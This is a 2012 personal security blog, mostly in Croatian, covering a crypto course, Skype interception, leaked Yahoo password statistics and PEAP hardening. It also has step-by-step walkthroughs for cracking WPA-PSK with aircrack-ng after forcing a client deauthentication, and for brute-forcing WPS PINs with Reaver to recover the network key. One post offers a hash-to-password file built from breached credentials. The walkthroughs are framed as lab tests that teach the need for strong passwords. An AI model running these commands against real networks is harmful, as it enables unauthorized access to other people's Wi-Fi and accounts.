Monday 12 November 2012

Crypto I class at Coursera

In August/Spetember I attended the free Crypto I class at Coursera. It's a class about modern cryptography thought by professor Dan Boneh from Stanford University.
It requires some knowledge of discrete probability but even for me who had last math lectures around 10 years ago it wasn't a big issue.

Course lasts about 6 weeks and classes are presented as video lectures. After each class there is a required homework and optional programming homework. I would suggest to everyone to do the programming part also because after theorising you get to see the practical part too. Programming assignments were a little difficult for me as I started programming in python just recently but they were solvable.


Topics included are stream ciphers, block ciphers, message integrity, basic key exchange, public key encryption and more.

If you solve enough homeworks you will get a statement of acomplishment that looks something like this:



Overall, I was very impressed by the course and have gained new knowledge about the topics covered in the course. I would recommend the course to anyone learning about security. As not everything was covered in this class, Crypto II will begin in January on Coursera. Can't wait!


Wednesday 25 July 2012

Skype prisluškivanje

U zadnjih tjedan ili više, počelo se pričati o tome da Skype sa novim promjenama u infrastrukturi olakšava mogućnost prisluškivanja od (američkih) vladinih agencija. Da li je to istina?

Skype je od početaka bio peer-to-peer mreža korisnika gdje su korisnici sa dovoljno jakim računalima i koji nisu bili iza NAT-a postajali tzv. supernodovi. Svaki klijent, da bi mogao komunicirati kroz Skype mrežu mora biti spojen na supernode. Supernodovi su jedna vrsta baze registracija korisnika (ako ih usporedimo sa SIP-om, kao popularnim VoIP protokolom) gdje vaš klijent ako ne zna gdje se neki korisnik nalazi pita supernode. Supernodovi odrađuju i određen dio signalizacije oko uspostavljanja poziva te navodno i u nekim slučajevima služe za relaying poziva, npr. u slučaju da su korisnici koji žele pričati iza NAT-a (u SIP-u ovu funkcionalnost imaju STUN serveri koji ne rade relaying već gledaju otvorene portove).

Skype arhitektura je zapravo vrlo slična SIP arhitekturi s razlikom da Skype nema jedan ili nekoliko centralnih servera, već desetke tisuća distribuiranih "servera" među samim korisnicima.
Za razliku od nekih početnih postavki u SIP-u, sva komunikacija je enkriptirana što je odlično ako ne želite biti žrtva legalnog ili nelegalnog prisluškivanja. To predstavlja velik problem svim policijskim (a i drugim) agancijama u svijetu zbog širenja smatphonova, gdje svatko može koristiti skype i izvan svog doma te ne može biti prisluškivan (kriminalci i slično).

Problem nastaje početkom godine kada je Skype zamjenio korisničke supernodove sa svojim supernodovima koji se nalaze u njihovim datacentrima. To omogućava puno lakši pristup signalizaciji koja se koristi za uspostavljanje poziva između korisnika pošto skype ima sve enkripcijske ključeve i trivijalno je dekriptirati komunikaciju. Ista stvar je sa samim razgovorima, trivijalno je ubaciti dio koda koji će za specifični username komunikaciju forsirati kroz supernode gdje se on opet može capturirati i dekriptirati.

Na sličan način funkcioniraju i legalni Lawful Intercept sustavi koje telekom operateri moraju imati zbog raznih državnih agencija te mislim da nema sumnje da sada i Skype ima istu funkcionalnost. Priznati neće vjerovatno nikada no ni vaš telekom ne oglašava činjenicu da na nalog policije vaš broj može biti prisluškivan. Također, sumnjam da će itko drugi osim Amerikanaca koristiti tu Skype funkcionalnost (tj. neće ju skype dati ikome drugome) tako da su ostali ljudi relativno sigurni i dalje što se tiče komunkacije kroz Skype.


Tuesday 24 July 2012

WPA/WPA2 PSK bruteforcing

WPA ili Wifi Protected Access je sigurnosni protokol koji je nadogradnja WEP-a nakon što su u njemu otkrivene slabosti. Također, većina uređaja je dobila WPA samo softverskom nadogradnjom. WPA koristi TKIP enkripcijski algoritam dok WPA2 koji je nadogradnja na WPA koristi AES-CCMP koji je jači i robustniji nego TKIP.

No WPA/WPA2 protokoli su ranjivi na bruteforce dictionary napade jer napadač koji sluša razgovor između Access Pointa i klijenta može saznati sve podatke koji su mu potrebni za bruteforcanje PSK-a (WPA handshake, SSID, authenticator nounce, supplicant nounce, authenticator MAC, supplicant MAC)

Za demonstraciju napada pripremljen je AP s jednostavnim passwordom i SSID-em PENtestLAB.

Na omiljenoj pentest distribuciji moramo prvo pokrenuti airmon:
 airmon-ng start wlan0
NAkon toga sve radimo sa interfaceom mon0. Pokrećemo airodump da nadjemo podatke o našem SSID-u koji ćemo napasti:

 airodump-ng mon0

Nakon što smo saznali BSSID, pokrećemo airodump tako da monitorira kanal na kojem je naš AP:
airodump-ng –bssid 62:A6:D9:99:F3:7f --channel 2 -w pentestlab mon0

Sada je potrebno pričekati dok se neki klijent ne spoji ili ako je klijent već spojen, možemo ga prisiliti da se odspoji:
  aireplay-ng -0 5 -a 62:A6:D9:99:F3:7f mon0
Uhvatili smo WPA handshake:


Sada možemo krenuti u probijanje PSK-a sa aircrackom:
aircrack-ng pentestlab-01.cap -w /media/test/passuniq.txt
 I ukoliko nam se PSK poklapa s nekim iz našeg riječnika, dobiti ćemo key:


Nadam se da ovaj tutorial demonstrira zašto je potrebno koristiti duge i komplicirane passworde kod štićenja bežičnih mreža.

Tuesday 17 July 2012

Nvidia lagala korisnicima? Nvidia forum hack

Prije nekoliko dana Nvidia je poslala mail korisnicima svog foruma mail u kojem kazu da su uočili hack i da privremeno suspendiraju rad foruma. Zanimljivi dio maila je u onaj u kojem tvrde da su hackeri došli do salted hasheva passworda što bi značilo da ih se ne može dictionary napadom pretvoriti u passworde:
 Our investigation has identified that unauthorized third parties gained access to some user information, including:

    •  username
    •  email address
    •  hashed passwords with random salt value
    •  public-facing “About Me” profile information
No pojavio se sljedeći pastebin http://pastebin.com/G21ytATD u kojem imamo oko 800 hashiranih passworda pa možemo lagano provjeriti da li su paswordi saltani ili ne.

Pošto iz nedavnog yahoo hacka imamo manju (350k jedinstvenih) bazu passworda možemo ju hashirati i usporediti hasheve. md5sum je linux utility koji će nam pomoći u tome. Ako ste lijeni, izgenerirani file (napravio yours truly) možete skinuti s 4shareda: md5 hashes of yahoo passwords File je u formatu hash password.

Nakon toga cemo grepati hasheve s pastebina u tom fileu, da vidimo da li možemo naći koji:



Nažalost po NVidiju, nekoliko hasheva se poklapa te to znači da su lijepo lagali korisnicima da se njihovi passwordi saltaju.

Saturday 14 July 2012

Zaštita wirelessa - WPA/WPA2 Enterprise - PEAP

Kao što je pokazano u prijašnjem blog postu WPA/WPA2-PSK infrastruktura je ranjiva na napade, da li korištenjem kratkih (tj. loših) passphraseova (što će biti demonstrirano u nekom budućem blogu)  ili ranjivostima u samim Access Pointovima. Rješenje je izbjegavanje korištenja Pre Shared Keyeva (PSK) te korištenje WPA/WPA2-Enterprisea.

WPA Enterprise ili WPA-802.1X je dizajniran za veće mreže te zahtjeva korištenje Radius autentifikacijskog servera što je kompliciranije rješenje ali i sigurnije. PEAP se koristi za autentifikaciju korisnika.

Protected Extensible Authentication Protocol ili u našem slučaju PEAPv0/EAP-MSCHAPv2 je protokol koji enkapsulira EAP unutar enkriptiranog TLS tunela. MSCHAPv2 je unutarnji autentifikacijski protokol. Za one koji žele znati više: PEAP na wikipediji.

Za demonstraciju ovakve infrastrukture potreban nam je prvo Access Point koji podržava ovaj tip autentifikacije klijenata što nije problem jer bi ga trebao podržavati svaki AP. Ja ću koristiti Siemenes Gigaset sx763.

Za podizanje Radius servera iskoristit ćemo Zeroshell, malu embedded network distribuciju linuxa kojoj je jedan od mnogih featurea i ugrađeni Radius Server. Pošto je distribucija multifunkcionalna sigurno ću ju spominjati i u daljnjim postovima. Bootati ćemo ju u omiljenom virtualizacijskom softveru.

Konfiguracija infrastrukture

Nakon bootanja dočekati će nas ekran preko kojeg možemo konfigurirati osnovne postavke kao IP adresu, password itd:


Nakon podešavanja IP adrese ako nam ne paše defaultni spojimo se na web sučelje na definiranoj IP adresi sa usernameom admin i passwordom zeroshell.

 Zanima nas prvo Radius dio gdje moramo pokrenuti Radius server:












Nakon toga potrebno je autorizirati Access point sa njegovim shared secretom:




















Nakon toga potrebno je reći Zeroshellu gdje se nalazi Active Directory sa kojim se može syncati ili pošto ga nemamo, dodati cemo ručno jednog usera:


Gdje je bitno da ostavimo kvačicu kod RADIUS kućice.

Zatim podešavamo Access Point:

Potrebno je odabrati WPA2/WPA security, upisati IP adresu Radius servera (naš Zeroshell) te key koji podesili u Radius konfiguraciji. S time smo završili konfiguraciju infrastrukture te prelazimo na klijente.

Konfiguracija klijenata

Za primjer konfiguracije klijenata koristiti ćemo Iphone no konfiguracija ostalih klijenata ili računala se sastoji od istih koraka.

Prvo pronalazimo mrežu na koju se želimo spojiti:


U našem slučaju je to mreža starhawk. Kod pokušaja spajanja biti ćemo upitani za username i password:


Nakon točno upisanog passworda moramo prihvatiti certifikat:


Nakon čega se uspješno spajamo:


I to je to, WiFi infrastruktura nam je sigurnija nego prije :)

Friday 13 July 2012

Yahoo hack - kratka analiza domena

Svi su krenuli analizirati passworde iz Yahoo hacka, pa ako ste zainteresirani za detaljniju analizu, po duljini passworda itd. click here.

Što se tiče domena, najpopularnije su standardne:
 135599 yahoo.com
 106185 gmail.com
  54393 hotmail.com
  24677 aol.com
   8422 comcast.net
   6282 msn.com
 što nije iznenadjujuće.

Pošto je ovo blog na hrvatskom, bacimo pogled na hr domene:
     27 net.hr
      5 zg.t-com.hr
      2 sk.t-com.hr
      1 zg.htnet.hr
      1 trgonom.hr
      1 tehnogips.hr
      1 st.t-com.hr
      1 sinj.com.hr
      1 optinet.hr
      1 net.amis.hr
      1 molnar.hr
      1 magdalena.hr
      1 inet.hr
      1 globalnet.hr
      1 akd.hr
passwordi nisu puno bolji nego oni spomenuti u prijašnjem postu ali ima i dobrih.

Američka vojska je dosta zastupljena :) :

 160 us.army.mil
     28 navy.mil
     18 usmc.mil
     11 gimail.af.mil
     10 marauder.millersville.edu
      8 med.navy.mil
      6 dfas.mil
      5 eglin.af.mil
      3 langley.af.mil
      3 cvn76.navy.mil
      3 beale.af.mil
      3 alumnae.mills.edu
      2 wpafb.af.mil
      2 uscg.mil
      2 us.af.mil
      2 travis.af.mil
      2 scott.af.mil
      2 mcchord.af.mil
      2 keesler.af.mil
      2 cvn69.navy.mil
      2 buckley.af.mil
Gdje sam izostavio one koji su samo s jednim mailom po domeni ali ima nekoliko nosača aviona, krstarica, razarača i fregata.

I još da vidimo .gov domene:
      5 education.nsw.gov.au
      3 utah.gov
      3 usdoj.gov
      3 ssa.gov
      3 schools.nyc.gov
      3 ky.gov
      3 irs.gov
      3 gsa.gov
      3 dc.gov
      2 va.gov
      2 usps.gov
      2 tucsonaz.gov
      2 salemct.gov
      2 police.vic.gov.au
      2 okc.gov
      2 nasa.gov
      2 mt.gov
      2 med.va.gov
      2 hud.gov
      2 ed.gov
      2 dmh.mo.gov
      2 dhs.gov
      2 cdc.gov
      2 bop.gov
Gdje isto ima zanimljivih, DoJ = Department of Justice, IRS = Internal Ravenue Service, DHS = Department of Homeland Security a i nesto Australskih :)






Thursday 12 July 2012

Yahoo hack - najpopularniji passwordi

Jutros je objavljena lista od oko 450 tisuća passworda koji su izgleda neenkriptirani sjedili u nekoj yahooovoj bazi gdje su ih se hackeri dočepali.

Krenuo sam pisati rant kakve passworde ljudi jos uvijek koriste no zaustavio sam se.
Nakon malo sortiranja filea dolazimo do brojke od cca 10k passworda koji su ili blank ili space pa ću ih ignorirati kao anomaliju.

No, najpopularniji password iz te yahoo liste je:

123456

sa 1667 korisnikom koji ga koriste. Ostao sam bez riječi.

Slijedi lista sa nekim najpopularnijim:

    780 password
    437 welcome
    333 ninja
    250 abc123
    222 123456789
    208 12345678
    205 sunshine
    202 princess
    172 qwerty
    164 writer
    162 monkey
    161 freedom
    160 michael
    160 111111
    140 iloveyou
    139 password1
    134 shadow
    133 baseball
    132 tigger
    131 1a1a1a1b
Koji nisu uopće bolji.

Ljudi, nemojte koristiti ovakve passworde :( It makes me a sad panda :(
 


Wednesday 11 July 2012

Ispitivanje ranjivosti WPA/WPA2 - WPS

Bežične mreže zaštićene sa WPA/WPA2 su puno sigurnije od mreža koje koriste WEP, no u slučaju korštenja kratkih passworda ili često korištenih riječi podložne su brute force napadima. Kod korištenja dugih passworda brute forcing prestaje biti praktičan zbog broja kombinacija i vremena koje bi bilo potrebno za probijanje. No, velika količina SOHO routera i AP-ova koji su popularni u našim krajevima (npr WRG54G2) dolaze sa uključenim WPS-om i ponekad nemogućnošću isključivanja.

Što je WPS? WPS ili Wi-Fi Protected Setup je pojednostavljeni način konfiguracije sigurnosnih postavki na Wi-Fi mrežama. Kao što je pokazao whitepaper Stefana Viehböcka radi se o protokolu s nekoliko mana koje omogućavaju brute forcing WPA/WPA2 mreža u puno kraćem vremenu, satima i danima umjesto mjesecima ili godinama u slučaju dugih passworda.

Testiranje

Za testiranje ranjivosti koristiti ćemo popularnu distribuciju Backtrack 5 R2 te Asus Eee 1000HE na kojem za razliku od prijašnjih Backtrack distribucija u ovoj zadnjoj sve radi bez potrebe za skidanjem dodatnih drivera, pogotovo za Ralink rt2860 b/g/n karticu. Kod samog testiranja mreže preporuka je biti što bliže AP-u da nemate problema s jačinom signala.


Popularni alat za bruteforcing WPS-a je Reaver koji je potrebno skinuti, otpakirati i kompajlirati.
Reaver ima odličnu mogućnost nastavljanja napada u slučaju prekida (npr. presumnjivi ste sjedeći nekoliko sati blizu mete testiranja).

Započeti ćemo prebacivanjem wifi kartice u monitor mod rada:

airmon-ng start wlan0
Nakon toga sve operacije radimo na interfaceu mon0 koji imamo nakon ove naredbe.

Koristiti ćemo Reaver 1.4 set alata koji je zadnja verzija u trenutku pisanja ovog bloga iako ta verzija ima nekih manjih problema no sve je moguće odraditi i sa njom.

Za otkrivanje da li AP koristi WPS možemo koristiti alat po imenu wash koji je dio Reavera. (-C ignorira checksum greške koji su se u ovom testu javljali)
wash -i mon0 -C

Vrlo jednostavno vidimo da li mreža koju trebamo testirati podržava WPS.

Nakon toga potrebno se asocirati na AP preko njegovog BSSID-a, to je prije Reaver radio ok ali u trenutnoj verziji ima problema pa ćemo koristiti dio aircrack seta alata:

aireplay-ng -1 120 -a 00:11:22:33:44:55 mon0
Gdje je  00:11:22:33:44:55 BSSID naše mete:


Kada smo asocirani, možemo pokrenuti Reaver:

reaver -i mon0 -b 00:11:22:33:44:55
Što bi teoretski trebalo pokrenuti Reaver  i probijanje PIN-a no pošto se svaki tip AP-a ponaša drugačije vjerovatno će biti potrebno modificirati naredbu za pokretanje. U našem konkretnom slučaju to je bilo:

reaver -i mon0 -b 00:11:22:33:44:55 -d 2 -c 9 -vv --no-ack --no-associate --win7
sa dodanim -vv za dodatni verbosity. Ostale opcije ostavljam da ih sami istražite :)

Nakog nekog vremena dobijemo PIN ali ne i WPA PSK password zbog buga u verziji 1.4:


Sada kada imamo pin, workaroundom preko wpa_supplicanta ćemo doći do PSK-a.

Potrebno je kreirati osnovni wpa_supplicant.conf:
ctrl_interface=/var/run/wpa_supplicant ctrl_interface_group=0
update_config=1
Zatim, potrebno je pokrenuti wpa_supplicant:
wpa_supplicant -Dwext -iwlan0 -c/etc/wpa_supplicant.conf –B
Nakon toga je potrebno pokrenuti wpa_cli te upisati BSSID te pin:
wps_reg 00:11:22:33:44:55 12345678
wpa_suplicant će se pokušati i uspjeti spojiti, te generirati konfiguraciju u svom conf fileu za mrežu na koju se spajamo, što uključuje i WPA-PSK password, conf file bi trebao imati ovakav novi dio:
network={
        ssid="labtest"
        bssid=00:11:22:33:44:55
        psk="passzalabtestiranje"
        key_mgmt=WPA-PSK
        auth_alg=OPEN
}
 Te smo uspješno došli do passworda.

Koraci neće biti identični za svaki AP no i ideja je da se cijelo vrijeme uči nove stvari.
 


Blog

Već dugo imam želju pokrenuti ovakav blog, pa je napokon i došlo vrijeme da ga pokrenem.